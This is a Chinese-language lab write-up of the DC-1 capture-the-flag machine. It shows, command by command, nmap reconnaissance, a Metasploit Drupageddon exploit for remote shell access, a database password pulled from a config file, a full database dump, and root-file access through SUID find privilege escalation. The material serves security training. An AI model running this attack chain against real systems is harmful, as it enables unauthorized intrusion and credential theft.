软件综合训练第二天….
1. 扫描被攻击主机ip地址:
1 | nmap -sn 192.168.73.0/24 |
从结果发现,共有五台在线主机,IP末尾为.1、.2和.254位虚拟机VMware自带,而kali_linux的IP为192.168.73.131,因此我们要攻击的主机的ip为192.168.73.130。
###2. 获取更多信息:
1 | nmap -Pn -sSV -A -p- -T5 192.168.73.130 |
-Pn为了不同ping,因为知道主机已启动,-p-扫描所有端口,-sC用默认脚本,-sSV发现开放端口然后尝试使用bannergrabbing服务名称和版本信息,-A运行大量nmap脚本来识别操作系统并收集更多信息,比较激进,-T5用于扫描更快。-T3是nmap默认值,在此下可用于避免网络上的IDS(他们会延迟扫描)。ip地址段为kali_linxu所属网段。
可以从结果看出,该服务器是一个web服务器,因为它开放了80端口,并且使用了Drupal的CMS进行搭建的网站。因此我们可以考虑利用Drupal的漏洞进行攻击,但是利用nmap仅仅只能得到其版本为7,不能更加精确,因此我们需要确定他更加具体的版本号。
###3. 进一步扫描,确定drupal版本:
安装并使用droopescan对drupal 进行扫描:
1 | git clone https://github.com/droope/droopescan.git |
使用方法:
1 | ./droopescan scan drupal -u dc1.com |
比如现在我们要攻击的主机为192.168.73.130,则具体命令为:
1 | ./droopescan scan drupal -u 192.168.73.130 |
扫描结果如下:
由结果我们发现,该网站所使用的drupal版本可能为7.22~7.26,因此存在Drupageddon漏洞
(Drupageddon是Drupal版本7.32中暴露的漏洞。它允许远程代码执行和shell访问)
4. 利用Drupageddon
msf中已经内置该漏洞脚本,可以直接在msf中查找
1 | msfconsole |
接下来就是要利用该脚本进行攻击了,攻击方法如下(在msfconsole下):
1 | use exploit/multi/http/drupal_drupageddon |
rhost参数为被攻击的主机ip地址。
这样我们就获得了这个网站的控制权了,但却不是root用户,我们可以输入以下命令发现我们并没有获得全部的权限:
1 | shell |
我们可以看到通过whoami
命令得到的并不是root用户。
5. Get Flag1 !
当我们获取到了被攻击主机的网站控制权后,我们可以试一试ls
命令,发现该目录下有一个flag1.txt,我们找到了一个旗子!让我们打开来看看里面有什么提示呢!
1 | meterpreter > cat flag1.txt |
注意:一定要在meterpreter > 提示符下,如果你跟着我的上一步输入了shell
,那请先输入exit退出到meterpreter >
我们可以看到第一条提示:Every good CMS needs a config file - and so do you.
提示配置文件,谷歌得知在在sites/default/settings.php下。
让我们打开配置文件看看都有什么内容呢…
可以看到在第一行写着:flag2
Brute force and dictionary attacks aren’t the
- only ways to gain access (and you WILL need access).
- What can you do with these credentials?
同时获得数据库用户名密码(dbuser/R0ck3t)
接下来让我们进入数据库,试着找找有没有下一个flag,进入数据库命令如下:
1 | shell |
之后要求你输入密码,密码上面已经得到了:R0ck3t
之后输入:
1 | use drupaldb; |
这样就得到了加密后的admin密码,下面我们需要把数据库dump下来。
6. 把数据库dump下来:
1 | mysqldump -u dbuser -p drupaldb > 1.sql |
使用ls命令可以看到当前目录下存在1.sql文件。
使用cat命令打开1.sql查找flag3,可以发现存在提示:search_dataset:flag3 special perms will help find the passwd but you ll need to exec that command to work out how to get what s in the shadow
两个提示:一个find,一个passwd
7. 根据提示,寻找其余flag
因为passwd为配置文件,位于/etc/passwd,因此我们cd到/etc目录下查看passwd文件内容:
我们可以发现passwd文件内容最后一行存在一个用户名为flag4,我们于是cd到flag4的用户目录/home/flag4下查看。
我们发现该用户目录下有一个flag4.txt,于是我们继续用cat命令查看该文件内容。
这个提示告诉我们最后一个flag在root目录下,我们可以利用和find相似的方法去寻找。
1 | find /root |
可以看到在/root目录下有最后一个flag,即thefinalflag.txt,但是我们并没有root用户权限,怎么才能查看到这个文件内容呢?
我们可以利用find进行提权,直接使用以下命令:
1 | find /root/thefinalflag.txt -type f -exec cat '{}' \; |
好了,我们终于成功了!嘿嘿嘿!